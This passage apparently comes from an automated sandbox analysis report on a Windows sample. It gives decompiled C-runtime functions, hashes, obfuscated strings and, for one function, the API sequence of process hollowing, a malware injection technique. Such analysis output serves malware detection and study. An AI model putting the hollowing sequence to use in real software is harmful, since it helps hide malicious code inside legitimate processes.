wovag, xrefs: 00419FB3
wapejan, xrefs: 00419F79
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A4E0
werahixiwexetujocaxojikutevolekeginizegimowif, xrefs: 0041A2C8
Xemov yoxociy pogi, xrefs: 0041A0E0
diponusohivasohopo, xrefs: 0041A3B8
mocisacatenu, xrefs: 00419F74
mawecamaxe, xrefs: 0041A3B3

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Console$File$FindSection$ProfileTimeWrite$CommCreateNamePrivate$AtomFreeProcessVolume$AliasCloseGlobalHandleInputLengthLocalLockModeMountMoveNamedNextPipePointStateSystemTypeWait$BinaryCharCompletionCriticalCurrentDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHeapLastMaskPathPortProcess32ResourceSemaphoreStringsThreadUnregister__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAssignAttributesBreakBufferBuildCancelChangeCharacterCompressedConditionConfigContextCountDateDebugDefaultDefineDriveEnterEventExchangeExecutionFlushFullGuidInfoInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationObjectOpenOutputOverlappedParametersPeekProcQueryReadResetResultScatterShortSizeStringStructTapeTerminateTimerTransactTransmitUnlockUpdateVersionWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Vozecitak mov$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mesehoripirowarericaju$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$werahixiwexetujocaxojikutevolekeginizegimowif$wovag
API String ID: 810379756-3832306161
Opcode ID: eaee16d0d52fa3572a9db184ce6f671648090d07918811bd6da2650ca491b5cd
Instruction ID: 0ed16f9fc955b673ea8e378e3f1e58324ef963ed532cfb805c8e3826814b3504
Opcode Fuzzy Hash: eaee16d0d52fa3572a9db184ce6f671648090d07918811bd6da2650ca491b5cd
Instruction Fuzzy Hash: ADF1EC76042565BBD325ABA1AE4CDDF3EACEF4E395B004429F249E1070C7384645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 005F0110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 005F0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 005F016C
CreateProcessA.KERNELBASE(?,00000000), ref: 005F0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 005F0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 005F0283
GetThreadContext.KERNELBASE(00000000,?), ref: 005F029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005F02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005F02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 005F0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 005F032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 005F0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005F03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005F03E1
ResumeThread.KERNELBASE(00000000), ref: 005F03ED
ExitProcess.KERNEL32(00000000), ref: 005F0412

Memory Dump Source

Source File: 00000000.00000002.238236248.00000000005F0000.00000040.00000001.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_OG9rNsihJ7.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7c22deb2eafff269132a7cfb870514a1668b591b0beb8feb0629c1e0715e13a5
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 37B1D874A00208AFDB44CF98C895FAEBBB5FF88314F248158E608AB391D775AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9D7, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041B9D7() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x54ac34 > 0) {
					_t112 =  *0x54ac34; // 0x0
					_t188 =  *0x54ac1c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x54ac1c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x54ac1c = _t170;
					} else {
						if(E0041CCB0() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E350();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x54ac1c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L004296B0(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E004295F0(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x54ac14 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x54ac14 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x54ac14 = 0xffffffff;
								} else {
									_t159 =  *0x54ac14; // 0x3878
									 *0x54ac14 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x54ac2c; // 0x1fde
								 *0x54ac2c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x54ac2c; // 0x1fde
								__eflags = _t126 -  *0x54ac20; // 0x23b0
								if(__eflags > 0) {
									_t158 =  *0x54ac2c; // 0x1fde
									 *0x54ac20 = _t158;
								}
								__eflags =  *0x54ac24;
								if( *0x54ac24 == 0) {
									 *0x54ac18 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x54ac24; // 0x2481318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x54ac24; // 0x2481318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x54ac24 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B4E0(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B4E0(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B4E0(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L004296B0(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BD20();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L004296B0(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L004296B0(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041b9d7
0x0041b9da
0x0041b9e8
0x0041b9ea
0x0041b9f2
0x0041b9f8
0x0041ba30
0x0041ba36
0x0041ba36
0x0041ba39
0x0041b9fa
0x0041ba01
0x0041ba03
0x0041ba08
0x0041ba0a
0x0041ba0f
0x0041ba14
0x0041ba16
0x0041ba1b
0x0041ba21
0x0041ba23
0x0041ba23
0x0041ba21
0x0041ba24
0x0041ba24
0x0041b9f8
0x0041ba3f
0x0041ba44
0x0041ba4e
0x0041ba53
0x0041ba59
0x0041ba5b
0x0041ba5b
0x0041ba59
0x0041ba63
0x0041bada
0x0041bae3
0x0041bae6
0x0041bae8
0x0041baed
0x0041baf0
0x0041baf2
0x0041baf2
0x0041baf0
0x0041baf9
0x0041bafd
0x0041bb35
0x0041bb38
0x0041bb3a
0x0041bb3e
0x0041bb49
0x0041bb4c
0x0041bb4e
0x0041bb52
0x0041bb66
0x0041bb6b
0x0041bb6e
0x0041bb71
0x0041bb73
0x0041bb73
0x0041bb71
0x0041bb52
0x0041bb4c
0x0041bb3e
0x0041bb7a
0x0041bb81
0x0041bb89
0x0041bb8c
0x0041bb90
0x0041bba0
0x0041bba6
0x0041bba9
0x0041bbaf
0x0041bbb3
0x0041bc07
0x0041bc0a
0x0041bc1d
0x0041bc0c
0x0041bc0c
0x0041bc15
0x0041bc15
0x0041bc27
0x0041bc2f
0x0041bc34
0x0041bc3a
0x0041bc40
0x0041bc42
0x0041bc48
0x0041bc48
0x0041bc4e
0x0041bc55
0x0041bc67
0x0041bc57
0x0041bc57
0x0041bc5f
0x0041bc5f
0x0041bc70
0x0041bc76
0x0041bc7b
0x0041bc88
0x0041bc91
0x0041bc9a
0x0041bca3
0x0041bcac
0x0041bcb2
0x0041bbb5
0x0041bbb8
0x0041bbc1
0x0041bbcb
0x0041bbd5
0x0041bbe2
0x0041bbe8
0x0041bbf2
0x0041bbf2
0x0041bcc9
0x0041bce6
0x0041bd01
0x0041bd0c
0x0041bd0c
0x0041bd0f
0x0041bb92
0x0041bb95
0x0041bb95
0x0041baff
0x0041bb10
0x0041bb18
0x0041bb1b
0x0041bb1d
0x0041bb1d
0x0041bb21
0x0041bb21
0x0041bd12
0x0041bd12
0x0041bd19
0x0041bd31
0x0041bd3f
0x0041bd3f
0x0041ba7d
0x0041ba83
0x0041ba88
0x00000000
0x00000000
0x0041ba8e
0x0041bac7
0x0041bacf
0x0041bad2
0x0041bad4
0x0041bad4
0x0041bad5
0x00000000
0x0041bad5
0x0041ba93
0x0041bab0
0x0041bab2
0x0041bab2
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041B9FA
__heap_alloc_base.LIBCMTD ref: 0041BB81
_memset.LIBCMT ref: 0041BCC9
_memset.LIBCMT ref: 0041BCE6
_memset.LIBCMT ref: 0041BD01

Strings

Client hook allocation failure at file %hs line %d., xrefs: 0041BA98
Invalid allocation size: %Iu bytes., xrefs: 0041BB03
_CrtCheckMemory(), xrefs: 0041BA03
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BA0F
Error: memory allocation: bad memory block type., xrefs: 0041BB54
Client hook allocation failure., xrefs: 0041BAB5

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 09976bc2a7c0688b02347d7f9d261269ff2797cf4bfe581a336ac322e2895a2b
Instruction ID: 34507d031a177e332731d6bdb59b7c9ad4b8644aa9961598626e8e7cb71eac24
Opcode Fuzzy Hash: 09976bc2a7c0688b02347d7f9d261269ff2797cf4bfe581a336ac322e2895a2b
Instruction Fuzzy Hash: 69A18DB9A40208DBDB18CF54DA85BEA77F0FB49304F20815AE9146B3D1D779AD80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041B675, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B675() {
				void* _t21;
				void* _t22;
				void* _t25;
				intOrPtr _t27;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B810();
				_t21 = E00429100(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B7E0(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L00424790(_t46); // executed
				if(_t22 == 0) {
					E0041B7E0(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041DAE0(_t46);
				_t62 = _t61 + 4;
				E00429080();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426B50(); // executed
				if(_t25 < 0) {
					L00426090(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x54c984 = E00429070(); // executed
				_t27 = E00428FC0(_t44, _t54, _t56); // executed
				 *0x54ac0c = _t27;
				if(E00428BD0() < 0) {
					L00426090(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E00428A30(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L00426090(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00425F70(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L00426090(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428990();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419EB2( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00426010( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00426050();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b675
0x0041b681
0x0041b686
0x0041b68b
0x0041b690
0x0041b694
0x0041b699
0x0041b699
0x0041b69c
0x0041b6a3
0x0041b6a7
0x0041b6ac
0x0041b6ac
0x0041b6af
0x0041b6b1
0x0041b6b6
0x0041b6b9
0x0041b6be
0x0041b6c5
0x0041b6cc
0x0041b6d0
0x0041b6d5
0x0041b6d5
0x0041b6dd
0x0041b6e2
0x0041b6e7
0x0041b6f3
0x0041b6f7
0x0041b6fc
0x0041b6fc
0x0041b6ff
0x0041b706
0x0041b70a
0x0041b70f
0x0041b70f
0x0041b714
0x0041b71c
0x0041b723
0x0041b729
0x0041b72e
0x0041b736
0x0041b73f
0x0041b74a
0x0041b741
0x0041b745
0x0041b745
0x0041b765
0x0041b76c
0x0041b772
0x0041b772
0x0041b777
0x0041b77c
0x0041b7c4
0x0041b7ca
0x0041b7d8

APIs

_check_managed_app.LIBCMTD ref: 0041B67C
__heap_init.LIBCMTD ref: 0041B686

Part of subcall function 00429100: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B68B,00000001), ref: 00429116

_fast_error_exit.LIBCMTD ref: 0041B694

Part of subcall function 0041B7E0: ___crtExitProcess.LIBCMTD ref: 0041B804

_fast_error_exit.LIBCMTD ref: 0041B6A7
__RTC_Initialize.LIBCMTD ref: 0041B6B9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6E2
___wsetargv.LIBCMTD ref: 0041B6EC
__wsetenvp.LIBCMTD ref: 0041B6FF
__cinit.LIBCMTD ref: 0041B714
__wwincmdln.LIBCMTD ref: 0041B731

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: 651d63ab9973b403a713adfff70d9f506dfd8562335215f420a554f0e3a8468f
Instruction ID: f043b3f5b7349fbf0887acbb1bc02436be89acecb49ad2d1e93bbdb165bead71
Opcode Fuzzy Hash: 651d63ab9973b403a713adfff70d9f506dfd8562335215f420a554f0e3a8468f
Instruction Fuzzy Hash: 983172B5E013149AEB10FBB2B8027DE7270EF5070CF50402EE5199B2C2EB799940DA9E

Uniqueness

Uniqueness Score: -1.00%

Function 00426B50, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00426B50() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43deb0);
				_push(E0041E7C0);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x440354; // 0xd7bbcde4
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041BE10(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x54b840 = _v128;
					 *0x54b83c = 0x20;
					while(_v128 <  *0x54b840 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x54b840;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0042C2D0( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x54b83c);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x54b83c < _v116) {
							_t209 = L0041BE10(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x54b840 + _v104 * 4)) = _v128;
								 *0x54b83c =  *0x54b83c + 0x20;
								while(_v128 <  *((intOrPtr*)(0x54b840 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x54b83c;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0042C2D0( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00426b55
0x00426b57
0x00426b5c
0x00426b67
0x00426b68
0x00426b6e
0x00426b73
0x00426b78
0x00426b7c
0x00426b82
0x00426b85
0x00426b90
0x00426b96
0x00426bdb
0x00426be0
0x00426be3
0x00426bea
0x00426bf7
0x00426bfd
0x00426c12
0x00426c24
0x00426c2b
0x00426c34
0x00426c3b
0x00426c4d
0x00426c5b
0x00426c61
0x00426c68
0x00426c6f
0x00426c79
0x00426c0f
0x00426c0f
0x00426c85
0x00426e83
0x00426e83
0x00426e95
0x00426eab
0x00426eb4
0x00426ec5
0x00426ecd
0x00426ee3
0x00426ee8
0x00426ecf
0x00426ecf
0x00426ecf
0x00426efb
0x00426f02
0x00426f99
0x00426fa6
0x00426fac
0x00000000
0x00426f12
0x00426f1c
0x00426f23
0x00000000
0x00426f25
0x00426f2b
0x00426f39
0x00426f59
0x00426f68
0x00426f68
0x00426f3b
0x00426f48
0x00426f48
0x00426f77
0x00426f7c
0x00426f81
0x00426f94
0x00426fb2
0x00000000
0x00426f83
0x00426f83
0x00426f83
0x00426f81
0x00426f23
0x00426fb4
0x00426fc3
0x00426fc6
0x00426e92
0x00000000
0x00426e92
0x00000000
0x00426eb4
0x00426fd2
0x00426fd8
0x00426c95
0x00426c9a
0x00426ca3
0x00426cac
0x00426cb6
0x00426cc3
0x00426cb8
0x00426cbb
0x00426cbb
0x00426cd3
0x00426cd6
0x00426ce8
0x00426d07
0x00426d0c
0x00426d0f
0x00426d16
0x00426d2b
0x00426d3a
0x00426d4a
0x00426d61
0x00426d68
0x00426d71
0x00426d78
0x00426d8a
0x00426d90
0x00426d97
0x00426d9e
0x00426da8
0x00426d47
0x00426d47
0x00426ce5
0x00000000
0x00426d18
0x00426d1d
0x00426d1d
0x00000000
0x00426d16
0x00426db3
